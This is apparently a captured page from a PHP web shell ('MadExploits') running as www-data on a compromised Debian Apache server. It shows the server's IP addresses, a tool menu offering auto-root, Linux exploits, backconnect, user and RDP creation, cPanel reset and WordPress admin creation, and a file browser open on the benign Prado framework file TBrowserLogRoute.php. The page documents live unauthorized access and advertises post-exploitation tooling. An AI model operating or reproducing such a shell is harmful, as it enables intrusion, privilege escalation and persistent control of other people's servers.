Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.118.162.166
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TBrowserLogRoute.php
<?php /** * TLogRouter, TLogRoute, TFileLogRoute, TEmailLogRoute class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; use Prado\TPropertyValue; use Prado\Web\THttpUtility; /** * TBrowserLogRoute class. * * TBrowserLogRoute prints selected log messages in the response. * * @author Xiang Wei Zhuo <weizhuo[at]gmail[dot]com> * @since 3.0 */ class TBrowserLogRoute extends TLogRoute { /** * @var string css class for indentifying the table structure in the dom tree */ private $_cssClass; public function processLogs($logs) { if (empty($logs) || $this->getApplication()->getMode() === 'Performance') { return; } $first = $logs[0][3]; $even = true; $response = $this->getApplication()->getResponse(); $response->write($this->renderHeader()); for ($i = 0, $n = count($logs); $i < $n; ++$i) { if ($i < $n - 1) { $timing['delta'] = $logs[$i + 1][3] - $logs[$i][3]; $timing['total'] = $logs[$i + 1][3] - $first; } else { $timing['delta'] = '?'; $timing['total'] = $logs[$i][3] - $first; } $timing['even'] = !($even = !$even); $response->write($this->renderMessage($logs[$i], $timing)); } $response->write($this->renderFooter()); } /** * @param string $value the css class of the control */ public function setCssClass($value) { $this->_cssClass = TPropertyValue::ensureString($value); } /** * @return string the css class of the control */ public function getCssClass() { return TPropertyValue::ensureString($this->_cssClass); } /** * @return string */ protected function renderHeader() { $string = ''; if ($className = $this->getCssClass()) { $string = <<<EOD <table class="$className"> <tr class="header"> <th colspan="5"> Application Log </th> </tr><tr class="description"> <th> </th> <th>Category</th><th>Message</th><th>Time Spent (s)</th><th>Cumulated Time Spent (s)</th> </tr> EOD; } else { $string = <<<EOD <table cellspacing="0" cellpadding="2" border="0" width="100%" style="table-layout:auto"> <tr> <th style="background-color: black; color:white;" colspan="5"> Application Log </th> </tr><tr style="background-color: #ccc; color:black"> <th style="width: 15px"> </th> <th style="width: auto">Category</th><th style="width: auto">Message</th><th style="width: 120px">Time Spent (s)</th><th style="width: 150px">Cumulated Time Spent (s)</th> </tr> EOD; } return $string; } /** * @param array $log * @param array $info * @return string */ protected function renderMessage($log, $info) { $string = ''; $total = sprintf('%0.6f', $info['total']); $delta = sprintf('%0.6f', $info['delta']); $msg = preg_replace('/\(line[^\)]+\)$/', '', $log[0]); //remove line number info $msg = THttpUtility::htmlEncode($msg); if ($this->getCssClass()) { $colorCssClass = $log[1]; $messageCssClass = $info['even'] ? 'even' : 'odd'; $string = <<<EOD <tr class="message level$colorCssClass $messageCssClass"> <td class="code"> </td> <td class="category">{$log[2]}</td> <td class="message">{$msg}</td> <td class="time">{$delta}</td> <td class="cumulatedtime">{$total}</td> </tr> EOD; } else { $bgcolor = $info['even'] ? "#fff" : "#eee"; $color = $this->getColorLevel($log[1]); $string = <<<EOD <tr style="background-color: {$bgcolor}; color:#000"> <td style="border:1px solid silver;background-color: $color;"> </td> <td>{$log[2]}</td> <td>{$msg}</td> <td style="text-align:center">{$delta}</td> <td style="text-align:center">{$total}</td> </tr> EOD; } return $string; } protected function getColorLevel($level) { switch ($level) { case TLogger::DEBUG: return 'green'; case TLogger::INFO: return 'black'; case TLogger::NOTICE: return '#3333FF'; case TLogger::WARNING: return '#33FFFF'; case TLogger::ERROR: return '#ff9933'; case TLogger::ALERT: return '#ff00ff'; case TLogger::FATAL: return 'red'; } return ''; } protected function renderFooter() { $string = ''; if ($this->getCssClass()) { $string .= '<tr class="footer"><td colspan="5">'; foreach (self::$_levelValues as $name => $level) { $string .= '<span class="level' . $level . '">' . strtoupper($name) . "</span>"; } } else { $string .= "<tr><td colspan=\"5\" style=\"text-align:center; background-color:black; border-top: 1px solid #ccc; padding:0.2em;\">"; foreach (self::$_levelValues as $name => $level) { $string .= "<span style=\"color:white; border:1px solid white; background-color:" . $this->getColorLevel($level); $string .= ";margin: 0.5em; padding:0.01em;\">" . strtoupper($name) . "</span>"; } } $string .= '</td></tr></table>'; return $string; } }
Close